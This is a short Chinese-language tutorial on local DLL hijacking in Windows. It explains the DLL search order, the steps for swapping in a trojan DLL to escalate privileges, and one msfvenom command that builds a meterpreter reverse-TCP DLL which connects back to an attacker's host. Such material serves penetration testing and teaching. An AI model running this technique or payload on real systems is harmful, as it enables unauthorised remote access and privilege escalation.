本地DLL劫持
原理
Windows程序启动的时候需要DLL。如果这些DLL不存在,则可以通过在应用程序要查找的位置放置恶意DLL来提权。
搜索顺序
通常Windows应用程序有其预定义好的搜索DLL的路径,它会根据下面的顺序进行搜索:
-
应用程序加载的目录(用户可控)
-
C:\Windows\System32
-
C:\Windows\System
-
C:\Windows
-
当前工作目录Current Working Directory,CWD
-
在PATH环境变量的目录(先系统后用户)
这样的加载顺序很容易导致一个系统DLL被劫持,因为只要攻击者将目标文件和恶意DLL放在一起即可,导致恶意DLL先于系统DLL加载,而系统DLL是非常常见的。
利用
程序运行一般会加载系统DLL或本身程序自带的DLL,如果将程序执行时需要加载的DLL文件替换成木马程序,那么下次在启动程序时所加载的DLL就是我们替换的那个木马程序了。
攻击过程
收集进程加载的DLL -> 制作DLL木马并上传 -> 替换DLL -> 启动应用后成功
生成Payload
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=IP lport=PORT prependmigrateprocess=explorer.exe prependmigrate=true -f dll > shell.dll